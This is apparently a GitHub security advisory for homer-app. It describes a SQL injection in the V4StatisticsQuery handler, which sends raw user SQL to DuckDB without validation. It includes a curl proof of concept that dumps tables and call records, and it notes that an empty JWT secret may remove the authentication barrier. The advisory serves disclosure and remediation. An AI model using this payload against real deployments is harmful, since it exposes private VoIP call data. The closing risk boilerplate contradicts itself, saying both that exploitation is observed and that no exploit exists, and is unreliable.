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GHSA-f46q-3v67-fmm4
github.com/sipcapture/homer-appSummary
The V4StatisticsQuery handler passes the user-supplied rawquery field directly to DuckDB without calling the sqlvalidator.ValidateRawSQL function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.
Details
coordinator/handlers/statistics_v4.go lines 74-107 — V4StatisticsQuery:
query := &model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
Contrast with coordinator/handlers/search.go line 194 — secure pattern not followed:
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
return c.JSON(http.StatusBadRequest, ...)
}
query.RawQuery is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the protected group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.
PoC
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://<homer-host>/api/v4/statistics/query \
-H "Authorization: Bearer <jwt>" \
-H "Content-Type: application/json" \
-d '{
"param": {
"query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
}
}'
# Returns all table names accessible to the DuckDB FlightSQL service
# Exfiltrate all stored call records:
# "rawquery": "SELECT * FROM hep LIMIT 1000"
# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration
Impact
SQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.
Fix
Apply sqlvalidator.ValidateRawSQL() to query.RawQuery before passing it to h.flightService.Query(), matching the pattern already used in search.go and transactions_v4.go.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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